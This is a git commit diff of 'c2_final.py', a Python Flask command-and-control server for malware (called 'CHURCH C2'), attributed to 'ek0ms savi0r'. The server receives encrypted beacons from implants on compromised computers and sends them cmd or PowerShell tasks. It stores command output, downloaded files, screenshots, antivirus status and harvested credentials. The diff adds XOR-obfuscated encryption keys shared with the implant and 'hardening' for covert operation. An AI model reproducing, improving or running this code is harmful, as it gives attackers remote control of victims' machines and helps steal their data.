Update c2_final.py

This commit is contained in:
ek0ms savi0r 2026-06-01 11:26:25 +00:00
parent f2a241f6e2
commit 177c0ee99b

View File

@ -1,69 +1,130 @@
#!/usr/bin/env python3
"""
CHURCH C2 SERVER
Enterprise-level Command & Control infrastructure
Features: Multi-session management, SQLite persistence, Web UI, REST API,
Plugin system, Report generation, Team collaboration, and Stealth operations
"""
from flask import Flask, request, jsonify, make_response, render_template_string, session, redirect, url_for
from flask_socketio import SocketIO, emit
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.backends import default_backend
from werkzeug.security import generate_password_hash, check_password_hash
from functools import wraps
import sqlite3
import os
import sys
import time
import json
import base64
import time
import threading
import queue
import logging
import argparse
import sys
import os
import uuid
import random
import string
import datetime
import requests
import ipaddress
import hashlib
import threading
import sqlite3
import secrets
import hashlib
import uuid
from pathlib import Path
from dataclasses import dataclass, asdict
from typing import Dict, List, Optional, Any
from functools import wraps
from collections import defaultdict
from datetime import timedelta
from flask import (
Flask, request, jsonify, make_response,
render_template_string, session, redirect, url_for
)
from flask_socketio import SocketIO, emit
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from werkzeug.security import generate_password_hash, check_password_hash
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# ==================== CONFIGURATION ====================
VERSION = "2.0.0"
AES_KEY = b"ChurchOfMalware2024!!ChurchOfMalware2024!!"
AES_IV = b"MalwareChurchIV!!"
JWT_SECRET = secrets.token_hex(32)
ADMIN_USERNAME = "admin"
ADMIN_PASSWORD_HASH = generate_password_hash("CHURCHadmin2024!!")
VERSION = "2.1.0"
XOR_KEY = 0xDD
CONFIG_FILE = "church_c2.cfg"
JWT_SECRET_FILE = "jwt_secret.key"
DATABASE_PATH = "church_c2.db"
LOG_PATH = "church_c2.log"
DOWNLOAD_PATH = "downloads"
PLUGIN_PATH = "plugins"
SSL_CERT = "cert.pem"
SSL_KEY = "key.pem"
ALLOWED_ORIGINS = ["https://localhost:443", "https://127.0.0.1:443"] # adjust as needed
# XOR-obfuscated AES key and IV (same as implant, key 0xDD)
# Original: b"ChurchOfMalware2024!!ChurchOfMalware2024!!"
AES_KEY_OBF = b"\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAA\xA5\xB1\xA7\xA5\xAD\xB4\x23"
# Original: b"MalwareChurchIV!!"
AES_IV_OBF = b"\xB1\xB8\xB7\xAF\xB2\xB9\xA5\xA7\xA8\xB9\xA7\xA6\xF5\xF4\xF4\x23"
def xor_deobfuscate(data: bytes) -> bytes:
return bytes([b ^ XOR_KEY for b in data])
AES_KEY = xor_deobfuscate(AES_KEY_OBF)
AES_IV = xor_deobfuscate(AES_IV_OBF)
# JWT secret persist across restarts
def get_or_create_jwt_secret():
if os.path.exists(JWT_SECRET_FILE):
with open(JWT_SECRET_FILE, "rb") as f:
return f.read().decode()
else:
secret = secrets.token_hex(32)
with open(JWT_SECRET_FILE, "w") as f:
f.write(secret)
os.chmod(JWT_SECRET_FILE, 0o600)
return secret
JWT_SECRET = get_or_create_jwt_secret()
# Admin credentials read from config or env (never hardcoded)
def get_admin_creds():
# Try config file first
if os.path.exists(CONFIG_FILE):
with open(CONFIG_FILE) as f:
for line in f:
if line.startswith("ADMIN_USERNAME="):
username = line.strip().split("=", 1)[1]
elif line.startswith("ADMIN_PASSWORD_HASH="):
pwd_hash = line.strip().split("=", 1)[1]
if 'username' in locals() and 'pwd_hash' in locals():
return username, pwd_hash
# Fallback to environment variables
username = os.environ.get("CHURCH_ADMIN_USER", "admin")
pwd_hash = os.environ.get("CHURCH_ADMIN_HASH")
if not pwd_hash:
# Generate a random password on first run and print to console
random_pass = secrets.token_urlsafe(16)
pwd_hash = generate_password_hash(random_pass)
print(f"\n[!] No admin password set. Generated random password: {random_pass}")
print("[!] Save this immediately! You can change it via the web UI.\n")
return username, pwd_hash
ADMIN_USERNAME, ADMIN_PASSWORD_HASH = get_admin_creds()
# Initialize Flask
app = Flask(__name__)
app.config['SECRET_KEY'] = JWT_SECRET
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024 # 100MB
socketio = SocketIO(app, cors_allowed_origins="*")
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True # only over HTTPS
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024
# Rate limiter
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"],
storage_uri="memory://"
)
# SocketIO with strict CORS
socketio = SocketIO(
app,
cors_allowed_origins=ALLOWED_ORIGINS,
logger=False,
engineio_logger=False
)
# ==================== DATABASE ====================
def init_database():
"""Initialize SQLite database with all tables"""
"""Initialize SQLite database with all tables (idempotent)"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
# Beacons table - stores all implant sessions
c.execute('''CREATE TABLE IF NOT EXISTS beacons (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT UNIQUE NOT NULL,
@ -87,7 +148,6 @@ def init_database():
notes TEXT
)''')
# Tasks table - command queue
c.execute('''CREATE TABLE IF NOT EXISTS tasks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
@ -102,7 +162,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
# Results table - command output history
c.execute('''CREATE TABLE IF NOT EXISTS results (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
@ -112,7 +171,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
# Files table - downloaded files tracking
c.execute('''CREATE TABLE IF NOT EXISTS files (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
@ -125,7 +183,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
# Credentials table - harvested credentials
c.execute('''CREATE TABLE IF NOT EXISTS credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
@ -137,7 +194,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
# Screenshots table
c.execute('''CREATE TABLE IF NOT EXISTS screenshots (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
@ -146,7 +202,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
# Tags table for beacon classification
c.execute('''CREATE TABLE IF NOT EXISTS tags (
id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL,
@ -154,7 +209,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''')
# Users table for team collaboration
c.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
@ -163,7 +217,6 @@ def init_database():
created_at REAL
)''')
# Audit log
c.execute('''CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
@ -184,12 +237,12 @@ def init_database():
# ==================== CRYPTOGRAPHY ====================
class CryptoManager:
"""Advanced cryptographic operations for C2 communication"""
@staticmethod
def decrypt_aes(data_b64: str) -> bytes:
"""AES-256-CBC decryption"""
ciphertext = base64.b64decode(data_b64)
"""AES-256-CBC decryption with robust CRLF stripping"""
# Remove all whitespace and CRLF that may have been inserted by CryptBinaryToString
cleaned = ''.join(data_b64.split())
ciphertext = base64.b64decode(cleaned)
cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend())
decryptor = cipher.decryptor()
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
@ -198,42 +251,21 @@ class CryptoManager:
@staticmethod
def encrypt_aes(plaintext: bytes) -> str:
"""AES-256-CBC encryption"""
"""AES-256-CBC encryption without extra whitespace"""
pad_len = 16 - (len(plaintext) % 16)
plaintext += bytes([pad_len]) * pad_len
cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend())
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext) + encryptor.finalize()
# No newlines in base64 implant expects clean string
return base64.b64encode(ciphertext).decode()
@staticmethod
def generate_rsa_keypair() -> tuple:
"""Generate RSA keypair for secure file transfers"""
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=4096,
backend=default_backend()
)
public_key = private_key.public_key()
return private_key, public_key
@staticmethod
def rsa_encrypt(public_key_pem: bytes, data: bytes) -> bytes:
"""RSA encryption for sensitive data"""
public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend())
return public_key.encrypt(
data,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# ==================== BEACON MANAGER ====================
from dataclasses import dataclass, asdict
from typing import Dict, List, Optional
@dataclass
class Beacon:
"""Beacon session management"""
beacon_id: str
computer_name: str
username: str
@ -270,15 +302,12 @@ class Beacon:
)
class BeaconManager:
"""Manages all active beacon sessions"""
def __init__(self):
self._beacons: Dict[str, Beacon] = {}
self._lock = threading.Lock()
self._load_from_db()
def _load_from_db(self):
"""Load existing beacons from database"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT * FROM beacons WHERE status = 'active'")
@ -288,7 +317,7 @@ class BeaconManager:
conn.close()
def update_beacon(self, data: dict) -> Beacon:
"""Update or create beacon from beacon data"""
# Use UUID to avoid collisions
beacon_id = self._generate_beacon_id(data['computer'], data['user'])
with self._lock:
@ -318,16 +347,17 @@ class BeaconManager:
beacon.uptime = data.get('uptime', beacon.uptime)
beacon.defender_status = data.get('defender', beacon.defender_status)
self._update_beacon(beacon)
return beacon
def _generate_beacon_id(self, computer: str, user: str) -> str:
"""Generate unique beacon identifier"""
data = f"{computer}\\{user}".encode()
return hashlib.md5(data).hexdigest()[:16]
"""Unique beacon ID using UUID to avoid collisions"""
# Use deterministic UUID v5 based on computer+user to keep same ID across sessions
# but still unique across different (computer,user) pairs
namespace = uuid.NAMESPACE_DNS
name = f"{computer}\\{user}"
return str(uuid.uuid5(namespace, name))
def _save_beacon(self, beacon: Beacon):
"""Save beacon to database"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute('''INSERT OR REPLACE INTO beacons
@ -345,11 +375,9 @@ class BeaconManager:
conn.close()
def _update_beacon(self, beacon: Beacon):
"""Update existing beacon"""
self._save_beacon(beacon)
def get_pending_tasks(self, beacon_id: str) -> List[dict]:
"""Get pending tasks for beacon"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT id, command, arguments, task_type FROM tasks WHERE beacon_id = ? AND status = 'pending' ORDER BY created_at", (beacon_id,))
@ -358,7 +386,6 @@ class BeaconManager:
return tasks
def mark_task_completed(self, task_id: int, output: str):
"""Mark task as completed and store output"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?",
@ -368,7 +395,6 @@ class BeaconManager:
self._audit("task_completed", str(task_id))
def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int:
"""Add task to beacon queue"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute('''INSERT INTO tasks (beacon_id, command, arguments, task_type, status, created_at)
@ -381,7 +407,6 @@ class BeaconManager:
return task_id
def _audit(self, action: str, target: str):
"""Log audit entry"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)",
@ -390,12 +415,10 @@ class BeaconManager:
conn.close()
def get_all_beacons(self) -> List[Beacon]:
"""Get all active beacons"""
with self._lock:
return list(self._beacons.values())
def get_beacon(self, beacon_id: str) -> Optional[Beacon]:
"""Get beacon by ID"""
return self._beacons.get(beacon_id)
beacon_manager = BeaconManager()
@ -713,22 +736,87 @@ HTML_TEMPLATE = '''
</html>
'''
# ==================== FLASK ROUTES ====================
# ==================== AUTHENTICATION HELPERS ====================
def require_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth = request.headers.get('X-Auth-Token')
if auth != JWT_SECRET and not session.get('authenticated'):
return jsonify({"error": "Unauthorized"}), 401
# Check session cookie first (for web UI)
if session.get('authenticated'):
return f(*args, **kwargs)
# Then check X-Auth-Token header (for API clients)
auth = request.headers.get('X-Auth-Token')
if auth and auth == JWT_SECRET:
return f(*args, **kwargs)
return jsonify({"error": "Unauthorized"}), 401
return decorated
@app.route('/login', methods=['POST'])
def login():
"""Web UI login endpoint"""
data = request.json
username = data.get('username')
password = data.get('password')
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT password_hash, role FROM users WHERE username = ?", (username,))
row = c.fetchone()
conn.close()
if row and check_password_hash(row[0], password):
session['authenticated'] = True
session['username'] = username
session['role'] = row[1]
return jsonify({"success": True})
return jsonify({"success": False}), 401
@app.route('/logout', methods=['POST'])
def logout():
session.clear()
return jsonify({"success": True})
# ==================== FLASK ROUTES ====================
@app.route('/')
def index():
"""Web UI"""
"""Web UI - serves login page or dashboard based on session"""
if not session.get('authenticated'):
return '''
<!DOCTYPE html>
<html>
<head><title>Church C2 Login</title>
<style>
body { background: #0a0e27; font-family: monospace; display: flex; justify-content: center; align-items: center; height: 100vh; }
.login { background: #0f0c29; border: 1px solid #00ffaa; padding: 30px; border-radius: 10px; width: 300px; }
input { width: 100%; padding: 10px; margin: 10px 0; background: #1a1a3e; border: 1px solid #00ffaa; color: #00ffaa; }
button { width: 100%; padding: 10px; background: #00ffaa; color: #0a0e27; border: none; cursor: pointer; }
</style>
</head>
<body>
<div class="login">
<h2>Church C2 Login</h2>
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">
<button onclick="login()">Login</button>
</div>
<script>
function login() {
fetch('/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({username: document.getElementById('username').value, password: document.getElementById('password').value})
}).then(res => {
if (res.ok) location.reload();
else alert('Invalid credentials');
});
}
</script>
</body>
</html>
'''
return render_template_string(HTML_TEMPLATE, version=VERSION)
@app.route('/beacon', methods=['POST'])
@limiter.limit("10 per minute")
def beacon_handler():
"""Primary beacon endpoint - receives beacon data and returns tasks"""
data = request.form.get('d') or request.form.get('data')
@ -742,13 +830,9 @@ def beacon_handler():
logging.error(f"Decrypt failed: {e}")
return "Bad data", 400
# Update beacon in database
beacon = beacon_manager.update_beacon(beacon_data)
# Log beacon activity
logging.info(f"BEACON: {beacon.computer_name}\\{beacon.username} | Admin: {beacon.is_admin} | Defender: {beacon.defender_status}")
# Get pending tasks
pending_tasks = beacon_manager.get_pending_tasks(beacon.beacon_id)
if pending_tasks:
@ -763,13 +847,11 @@ def beacon_handler():
response = json.dumps({"task_id": 0, "command": "", "args": "", "ps": False})
encrypted_response = CryptoManager.encrypt_aes(response.encode())
# Notify WebSocket clients
socketio.emit('beacon_update', {'beacon_id': beacon.beacon_id})
return encrypted_response, 200, {'Content-Type': 'application/octet-stream'}
@app.route('/beacon/result', methods=['POST'])
@limiter.limit("10 per minute")
def task_result():
"""Receive command output from beacon"""
data = request.form.get('d') or request.form.get('data')
@ -793,15 +875,15 @@ def task_result():
@app.route('/api/beacons', methods=['GET'])
@require_auth
@limiter.limit("30 per minute")
def api_beacons():
"""API: List all beacons"""
beacons = beacon_manager.get_all_beacons()
return jsonify([b.to_dict() for b in beacons])
@app.route('/api/beacon/<beacon_id>', methods=['GET'])
@require_auth
@limiter.limit("30 per minute")
def api_beacon(beacon_id):
"""API: Get specific beacon details"""
beacon = beacon_manager.get_beacon(beacon_id)
if not beacon:
return jsonify({"error": "Beacon not found"}), 404
@ -809,13 +891,12 @@ def api_beacon(beacon_id):
@app.route('/api/task', methods=['POST'])
@require_auth
@limiter.limit("20 per minute")
def api_add_task():
"""API: Add task to beacon"""
data = request.json
if not data or 'host' not in data or 'command' not in data:
return jsonify({"error": "Missing host or command"}), 400
# Resolve beacon ID (can be computer name or full beacon_id)
beacon = None
for b in beacon_manager.get_all_beacons():
if b.beacon_id == data['host'] or b.computer_name == data['host']:
@ -831,13 +912,12 @@ def api_add_task():
data.get('args', ''),
'powershell' if data.get('powershell', False) else 'cmd'
)
return jsonify({"status": "added", "task_id": task_id})
@app.route('/api/tasks/<beacon_id>', methods=['GET'])
@require_auth
@limiter.limit("30 per minute")
def api_tasks(beacon_id):
"""API: Get tasks for beacon"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT id, command, arguments, task_type, status, output, created_at FROM tasks WHERE beacon_id = ? ORDER BY created_at DESC LIMIT 50", (beacon_id,))
@ -847,8 +927,8 @@ def api_tasks(beacon_id):
@app.route('/api/stats', methods=['GET'])
@require_auth
@limiter.limit("10 per minute")
def api_stats():
"""API: Get system statistics"""
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT COUNT(*) FROM beacons WHERE status = 'active'")
@ -875,10 +955,8 @@ def handle_connect():
def handle_disconnect():
print(f"[WebSocket] Client disconnected")
# ==================== LOGGING & MONITORING ====================
# ==================== LOGGING ====================
class C2Logger:
"""Advanced logging with rotation and encryption"""
def __init__(self, log_path: str):
self.log_path = log_path
self._setup_logging()
@ -906,22 +984,20 @@ c2_logger = C2Logger(LOG_PATH)
# ==================== CLEANUP THREAD ====================
def cleanup_old_beacons():
"""Remove stale beacons after timeout"""
while True:
time.sleep(300) # Every 5 minutes
timeout = time.time() - 3600 # 1 hour timeout
time.sleep(300)
timeout = time.time() - 3600
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("UPDATE beacons SET status = 'stale' WHERE last_seen < ? AND status = 'active'", (timeout,))
conn.commit()
conn.close()
# ==================== MAIN ENTRY POINT ====================
# ==================== MAIN ====================
def main():
parser = argparse.ArgumentParser(description='CHURCH C2 Server')
parser = argparse.ArgumentParser(description='CHURCH C2 Server - Hardened APT Grade')
parser.add_argument('--host', default='0.0.0.0', help='Bind address')
parser.add_argument('--port', type=int, default=443, help='Bind port')
parser.add_argument('--http', action='store_true', help='Use HTTP instead of HTTPS')
parser.add_argument('--port', type=int, default=443, help='Bind port (HTTPS only)')
parser.add_argument('--cert', default=SSL_CERT, help='SSL certificate path')
parser.add_argument('--key', default=SSL_KEY, help='SSL key path')
args = parser.parse_args()
@ -935,29 +1011,18 @@ def main():
cleanup_thread = threading.Thread(target=cleanup_old_beacons, daemon=True)
cleanup_thread.start()
# Banner
print("""
CHURCH C2 SERVER v2.0
CHURCH C2 SERVER v2.1
by ek0ms savi0r
[] AES-256-CBC Encrypted Channel
[] SQLite Persistence
[] WebSocket Real-time Updates
[] Multi-session Management
[] Task Queue System
[] Audit Logging
""")
print(f"[*] Starting C2 server on {args.host}:{args.port}")
print(f"[*] Web UI: http{'s' if not args.http else ''}://{args.host}:{args.port}")
print(f"[*] API Key: {JWT_SECRET}")
print("[*] Default credentials: admin / CHURCHadmin2024!!")
print(f"[*] Starting C2 server on {args.host}:{args.port} (HTTPS only)")
print(f"[*] Web UI: https://{args.host}:{args.port}")
print(f"[*] API Key (for external tools): {JWT_SECRET}")
print(f"[*] Admin login: {ADMIN_USERNAME} (use password from config/env or random printed above)")
if args.http:
socketio.run(app, host=args.host, port=args.port, debug=False)
else:
socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False)
if __name__ == '__main__':